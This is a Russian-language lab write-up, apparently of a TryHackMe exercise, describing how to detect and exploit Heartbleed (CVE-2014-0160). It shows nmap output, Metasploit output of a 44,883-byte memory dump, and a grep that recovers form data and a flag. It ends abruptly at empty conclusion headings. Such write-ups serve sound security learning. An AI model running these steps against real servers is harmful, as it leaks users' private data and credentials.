artemcyberlab/project-field-analysis-and-memory-leak-demonstrationЦелью этого проекта была оценка удаленного хоста на уязвимость Heartbleed (CVE-2014-0160), проверка ее наличия и эксплуатация для извлечения потенциально конфиденциальной информации из памяти сервера по протоколу TLS.
Цель Целью этого проекта была оценка удаленного хоста на уязвимость Heartbleed (CVE-2014-0160), проверка её наличия и эксплуатация для извлечения потенциально чувствительной информации из памяти сервера через протокол TLS.
Выполнение
plaintext PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 111/tcp open rpcbind 2-4 443/tcp open ssl/http nginx 1.15.7
| ssl-cert: Subject: CN=localhost/O=TryHackMe/ST=London/C=UK | Not valid before: 2019-02-16T10:41:14 | Not valid after: 2020-02-16T10:41:14 TLS-сертификат был самоподписанным и просроченным. Это вызвало подозрение, что версия OpenSSL может быть устаревшей. Целевой порт: 443.
plaintext | ssl-heartbleed: | VULNERABLE: | OpenSSL 1.0.1 is vulnerable to Heartbleed | State: VULNERABLE | Risk factor: High | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 Цель подтверждена как уязвимая для Heartbleed.
plaintext [+] Heartbeat response with leak, 44883 bytes [+] Heartbeat data stored in /root/.msf4/loot/20250627224930_default_52.215.184.158_openssl.heartble_152689.bin Память успешно сброшена и сохранена локально для анализа.
strings openssl.heartble_152689.bin | grep -i "THM{" Результат:
plaintext user_name=hacker101&user_email=[email protected]&user_message=THM{sSl-Is-BaD} Конфиденциальные данные, включая флаг приложения, были успешно извлечены из TLS-памяти — что подтверждает практическую возможность эксплуатации уязвимости для утечки чувствительной информации.
Заключение Я успешно выявил и эксплуатировал CVE-2014-0160 на удаленном сервере. Процесс включал:
Влияние на бизнес Наличие Heartbleed в публично доступной системе представляет критический риск:
